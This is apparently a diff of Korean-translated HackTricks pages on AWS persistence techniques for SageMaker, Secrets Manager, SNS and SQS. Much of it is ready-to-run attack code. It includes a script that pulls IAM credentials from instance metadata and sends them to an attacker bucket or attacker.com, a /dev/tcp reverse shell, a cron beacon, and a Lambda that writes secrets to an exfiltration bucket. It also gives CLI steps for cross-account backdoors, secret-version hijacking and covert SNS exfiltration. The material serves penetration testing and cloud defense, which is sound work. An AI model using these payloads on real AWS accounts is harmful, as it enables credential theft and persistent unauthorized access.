#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,230 @@
# AWS - SageMaker Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## 영구화 기법 개요
이 섹션에서는 Lifecycle Configurations (LCCs)을 악용해 SageMaker에서 persistence를 확보하는 방법들을 설명합니다. 예로는 reverse shells, cron jobs, IMDS를 통한 자격증명 탈취, SSH backdoors 등이 있습니다. 이러한 스크립트는 인스턴스의 IAM role로 실행되며 재시작 후에도 지속될 수 있습니다. 대부분의 기법은 아웃바운드 네트워크 접근을 필요로 하지만, 환경이 'VPC-only" 모드인 경우에도 AWS control plane의 서비스를 이용하면 성공할 수 있습니다.
> [!TIP]
> 참고: SageMaker notebook instances는 본질적으로 머신러닝 워크로드를 위해 특수 구성된 관리형 EC2 인스턴스입니다.
## 필요 권한
* Notebook Instances:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* Studio 애플리케이션:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## 노트북 인스턴스에서 Lifecycle Configuration 설정
### 예제 AWS CLI 명령:
```bash
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## SageMaker Studio에서 Lifecycle Configuration 설정
Lifecycle Configurations은 SageMaker Studio 내의 다양한 레벨 및 서로 다른 앱 유형에 첨부할 수 있습니다.
### Studio 도메인 레벨 (모든 사용자)
```bash
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
### Studio Space 레벨 (개인 또는 공유 공간)
```bash
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
## Studio 애플리케이션 라이프사이클 구성 유형
라이프사이클 구성은 특정 SageMaker Studio 애플리케이션 유형에 개별적으로 적용될 수 있습니다:
* JupyterServer: Jupyter server 시작 시 스크립트를 실행합니다. reverse shells 및 cron jobs 같은 영속성 메커니즘에 적합합니다.
* KernelGateway: kernel gateway 앱 시작 시 실행되어 초기 설정이나 지속적 접근에 유용합니다.
* CodeEditor: Code Editor (Code-OSS)에 적용되며, 코드 편집 세션 시작 시 실행되는 스크립트를 가능하게 합니다.
### 각 유형별 예시 명령:
### JupyterServer
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
```
### KernelGateway
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### 코드 에디터
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### 중요 정보:
* 도메인 또는 스페이스 수준에서 LCCs를 연결하면 범위 내의 모든 사용자 또는 애플리케이션에 영향을 미칩니다.
* 더 높은 권한이 필요합니다 (sagemaker:UpdateDomain, sagemaker:UpdateSpace). 일반적으로 도메인 수준보다 스페이스 수준에서 구현하기 더 용이합니다.
* 네트워크 수준의 제어(예: strict egress filtering)는 성공적인 reverse shells 또는 data exfiltration을 방지할 수 있습니다.
## Reverse Shell via Lifecycle Configuration
SageMaker Lifecycle Configurations (LCCs)는 notebook 인스턴스가 시작될 때 사용자 정의 스크립트를 실행합니다. 권한을 가진 공격자는 지속적인 reverse shell을 설정할 수 있습니다.
### Payload Example:
```
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Cron Job Persistence via Lifecycle Configuration
공격자는 LCC scripts를 통해 cron jobs를 주입하여 악성 scripts 또는 commands가 주기적으로 실행되도록 하여 은밀한 persistence를 유지할 수 있습니다.
### Payload Example:
```
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## Credential Exfiltration via IMDS (v1 & v2)
Lifecycle configurations는 Instance Metadata Service (IMDS)에 쿼리하여 IAM credentials를 검색하고 공격자가 제어하는 위치로 exfiltrate할 수 있습니다.
### Payload Example:
```bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```
## Model Registry 리소스 정책을 통한 지속성 (PutModelPackageGroupPolicy)
SageMaker Model Package Group의 리소스 기반 정책을 악용해 외부 principal에게 cross-account 권한(예: CreateModelPackage/Describe/List)을 부여합니다. 이렇게 하면 피해자 계정에서 공격자의 IAM user/role이 제거되어도 poisoned model versions를 푸시하거나 model metadata/artifacts를 읽을 수 있는 지속적인 백도어가 생성됩니다.
필수 권한
- sagemaker:CreateModelPackageGroup
- sagemaker:PutModelPackageGroupPolicy
- sagemaker:GetModelPackageGroupPolicy
단계 (us-east-1)
```bash
# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON
# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text
```
참고
- 실제 cross-account 백도어의 경우, Resource를 특정 그룹 ARN으로 제한하고 Principal에 공격자의 AWS 계정 ID를 사용하세요.
- 종단 간 cross-account 배포 또는 아티팩트 읽기의 경우, S3/ECR/KMS 권한을 공격자 계정에 맞춰 정렬하세요.
영향
- Model Registry 그룹에 대한 지속적인 계정 간 제어: 공격자는 피해자 계정에서 자신의 IAM 엔티티가 제거된 이후에도 악성 모델 버전을 게시하거나 모델 메타데이터를 열거/읽을 수 있습니다.
## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
SageMaker Canvas 사용자 설정을 악용해 ModelRegisterSettings를 활성화하고 CrossAccountModelRegisterRoleArn을 다른 계정의 공격자 역할로 지정함으로써 모델 레지스트리 쓰기를 공격자 제어 계정으로 조용히 리디렉션합니다.
필요 권한
- 대상 UserProfile에 대한 sagemaker:UpdateUserProfile
- 선택: 자신이 제어하는 Domain에 대한 sagemaker:CreateUserProfile
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,51 +0,0 @@
# AWS - Secrets Manager Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Secrets Manager
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### 리소스 정책을 통한 접근
리소스 정책을 통해 **외부 계정에 비밀에 대한 접근 권한을 부여**할 수 있습니다. 더 많은 정보는 [**Secrets Manager Privesc 페이지**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)를 확인하세요. **비밀에 접근하기 위해서는** 외부 계정이 **비밀을 암호화하는 KMS 키에 대한 접근 권한도 필요**하다는 점에 유의하세요.
### Secrets Rotate Lambda를 통한 접근
비밀을 자동으로 **회전**하기 위해 구성된 **Lambda**가 호출됩니다. 공격자가 **코드**를 **변경**할 수 있다면, 그는 직접 **새 비밀을 자신에게 유출**할 수 있습니다.
이런 행동을 위한 lambda 코드의 예시는 다음과 같을 수 있습니다:
```python
import boto3
def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')
# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password
# Example: Generate a new password
new_secret_value = generate_password()
return new_secret_value
def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,234 @@
# AWS - Secrets Manager 지속성
{{#include ../../../../banners/hacktricks-training.md}}
## Secrets Manager
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### 리소스 정책을 통해
리소스 정책을 통해 외부 계정에 **secrets에 대한 접근 권한을 부여할 수 있습니다**. 자세한 내용은 [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md)를 확인하세요. 외부 계정이 **secret에 접근**하려면 해당 secret을 암호화한 **KMS key에 대한 접근 권한**도 필요하다는 점에 유의하세요.
### Secrets Rotate Lambda를 통해
시크릿을 자동으로 **rotate**하기 위해 구성된 **Lambda**가 호출됩니다. 공격자가 **코드**를 **변경**할 수 있다면 새 시크릿을 직접 **exfiltrate the new secret**할 수 있습니다.
This is how lambda code for such action could look like:
```python
import boto3
def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')
# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password
# Example: Generate a new password
new_secret_value = generate_password()
return new_secret_value
def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
```
{{#include ../../../../banners/hacktricks-training.md}}
### RotateSecret를 통해 rotation Lambda를 공격자 제어 함수로 전환
`secretsmanager:RotateSecret`를 남용해 secret의 rotation을 공격자 제어 rotation Lambda로 재바인딩하고 즉시 rotation을 트리거합니다. 악의적인 함수는 rotation 단계(createSecret/setSecret/testSecret/finishSecret)에서 secret 버전들(AWSCURRENT/AWSPENDING)을 공격자 수신지(예: S3 또는 외부 HTTP)로 유출합니다.
- Requirements
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
- Impact
- 공격자는 legit rotation 코드를 수정하지 않고도 secret 값을 획득합니다. rotation 구성만 공격자 Lambda를 가리키도록 변경됩니다. 탐지되지 않으면 예약된 이후의 rotation들 또한 공격자 함수가 계속 호출됩니다.
- Attack steps (CLI)
1) Prepare attacker sink and Lambda role
- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
3) Rebind rotation and trigger
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
5) (Optional) Restore the original rotation Lambda to reduce detection.
- Example attacker Lambda (Python) exfiltrating to S3
- Environment: `EXFIL_BUCKET=<bucket>`
- Handler: `lambda_function.lambda_handler`
```python
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']
def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
```
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
Abuse Secrets Manager 버전 스테이징 레이블을 악용하여 공격자가 제어하는 시크릿 버전을 심고 프로덕션은 기존의 `AWSCURRENT`을 계속 사용하는 동안 커스텀 스테이지(예: `ATTACKER`) 아래에 숨겨 둡니다. 언제든 `AWSCURRENT`을 공격자 버전으로 이동시켜 의존하는 워크로드를 오염시킨 뒤, 감지 가능성을 최소화하기 위해 복원할 수 있습니다. 이렇게 하면 시크릿 이름이나 rotation 구성은 변경하지 않으면서 은밀한 백도어 영속성과 빠른 사용 시점 조작이 가능합니다.
- Requirements
- 권한: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (검증용)
- 대상 secret id가 해당 리전에 있어야 함.
- Impact
- 숨겨진 공격자 제어 시크릿 버전을 유지하고 필요 시 `AWSCURRENT`를 해당 버전으로 원자적으로 전환하여 동일한 시크릿 이름을 해석하는 모든 소비자에 영향을 미칠 수 있습니다. 전환과 빠른 복원은 탐지 가능성을 낮추면서 사용 시점 침해를 가능하게 합니다.
- Attack steps (CLI)
- Preparation
- `export SECRET_ID=<target secret id or arn>`
<details>
<summary>CLI 명령</summary>
```bash
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}
# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"
# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
# 4) On-demand flip to the attackers value and revert quickly
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"
# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
```
</details>
- 참고
- `--client-request-token`을 제공하면 Secrets Manager는 이를 `VersionId`로 사용합니다. `--version-stages`를 명시적으로 설정하지 않고 새 버전을 추가하면 기본적으로 `AWSCURRENT`가 새 버전으로 이동하고 이전 버전은 `AWSPREVIOUS`로 표시됩니다.
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
Secrets Manager의 multi-Region replication을 악용하여 대상 secret의 replica를 감시가 덜한 Region으로 생성하고, 해당 Region에서 attacker-controlled KMS 키로 암호화한 다음, 그 replica를 standalone secret으로 승격시켜 permissive resource policy를 연결해 attacker에게 읽기 권한을 부여합니다. 원래 primary Region의 secret은 변경되지 않으므로, promoted replica를 통해 secret 값에 지속적이고 은밀한 접근을 확보할 수 있으며 primary의 KMS/policy 제약을 우회합니다.
- 요구사항
- 권한: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- replica Region에서: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (또는 `kms:PutKeyPolicy`)로 attacker principal이 `kms:Decrypt`를 수행할 수 있도록 허용.
- promoted secret에 대한 읽기 액세스를 받을 attacker principal(user/role).
- 영향
- attacker-controlled KMS CMK 및 permissive resource policy 하의 standalone replica를 통해 secret 값에 대한 영구적인 cross-Region 접근 경로가 생성됩니다. 원래 Region의 primary secret은 변경되지 않습니다.
- Attack (CLI)
- Vars
```bash
export R1=<primary-region> # e.g., us-east-1
export R2=<replica-region> # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
```
1) replica Region에 공격자가 제어하는 KMS 키를 생성
```bash
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
```
2) attacker KMS key를 사용해 secret을 R2로 복제
```bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
```
3) R2에서 복제본을 독립 인스턴스로 승격
```bash
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
```
4) R2에 있는 독립형 secret에 관대한 리소스 정책을 적용하세요.
```bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
```
5) R2에서 attacker principal의 secret 읽기
```bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
```
@@ -1,77 +0,0 @@
# AWS - SNS 지속성
{{#include ../../../banners/hacktricks-training.md}}
## SNS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-sns-enum.md
{{#endref}}
### 지속성
**SNS 주제**를 생성할 때 **누가 읽고 쓸 수 있는지** IAM 정책으로 지정해야 합니다. 외부 계정, 역할의 ARN 또는 **"\*"**를 지정할 수 있습니다.\
다음 정책은 AWS의 모든 사용자에게 **`MySNS.fifo`**라는 SNS 주제에서 읽고 쓸 수 있는 권한을 부여합니다:
```json
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
```
### 구독자 생성
모든 주제에서 모든 메시지를 계속해서 유출하기 위해 공격자는 **모든 주제에 대한 구독자를 생성할 수 있습니다**.
**주제가 FIFO 유형**인 경우, **SQS** 프로토콜을 사용하는 구독자만 사용할 수 있습니다.
```bash
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,113 @@
# AWS - SNS 영속성
{{#include ../../../../banners/hacktricks-training.md}}
## SNS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}
### 영속성
**SNS topic**을 생성할 때 IAM policy로 **누가 읽기 및 쓰기 권한이 있는지**를 지정해야 합니다. 외부 계정, 역할의 ARN, 또는 **심지어 "\*"**를 지정할 수 있습니다.\
다음 정책은 AWS의 모든 사용자에게 **`MySNS.fifo`**라는 SNS topic에 대한 읽기 및 쓰기 권한을 부여합니다:
```json
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
```
### 구독자 생성
모든 토픽의 모든 메시지를 계속 유출하려면 공격자는 **모든 토픽에 대한 구독자를 생성할 수 있습니다**.
참고로 **토픽이 FIFO 유형인 경우**, 프로토콜로 **SQS**를 사용하는 구독자만 사용할 수 있습니다.
```bash
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
### 은밀한, 선택적 exfiltration via FilterPolicy on MessageBody
주제에 대해 `sns:Subscribe``sns:SetSubscriptionAttributes` 권한을 가진 공격자는 JSON 본문이 매우 좁은 필터(예: `{"secret":"true"}`)와 일치하는 경우에만 메시지를 전달하는 은밀한 SQS 구독을 생성할 수 있습니다. 이렇게 하면 전송량과 탐지 가능성을 줄이면서도 민감한 레코드를 exfiltrate할 수 있습니다.
**잠재적 영향**: 피해자 Topic에서 타깃된 SNS 메시지들만 은밀하고 저소음으로 exfiltration될 수 있음.
단계 (AWS CLI):
- 공격자 SQS 큐 정책이 피해자 `TopicArn`에서 오는 `sqs:SendMessage`를 허용하는지 확인(Condition `aws:SourceArn``TopicArn`과 동일한지).
- 토픽에 대한 SQS 구독 생성:
```bash
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
```
- 필터가 메시지 본문에서 동작하도록 설정하고 `secret=true`만 매치하도록 설정:
```bash
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
```
- 선택적 은밀성: RawMessageDelivery를 활성화하면 수신자에게 원시 페이로드만 전달됩니다:
```bash
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
```
- 검증: 두 메시지를 게시하고 첫 번째 메시지만 공격자 큐로 배달되는지 확인하세요. 예시 페이로드:
```json
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
```
- 정리: persistence 테스트를 위해 생성한 경우 공격자 SQS 큐의 구독을 해지하고 큐를 삭제하세요.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,37 +0,0 @@
# AWS - SQS 지속성
{{#include ../../../banners/hacktricks-training.md}}
## SQS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
### 리소스 정책 사용
SQS에서는 IAM 정책으로 **누가 읽고 쓸 수 있는지** 명시해야 합니다. 외부 계정, 역할의 ARN 또는 **"\*"**를 지정할 수 있습니다.\
다음 정책은 AWS의 모든 사용자에게 **MyTestQueue**라는 큐의 모든 항목에 대한 접근을 허용합니다:
```json
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__owner_statement",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": ["SQS:*"],
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
}
]
}
```
> [!NOTE]
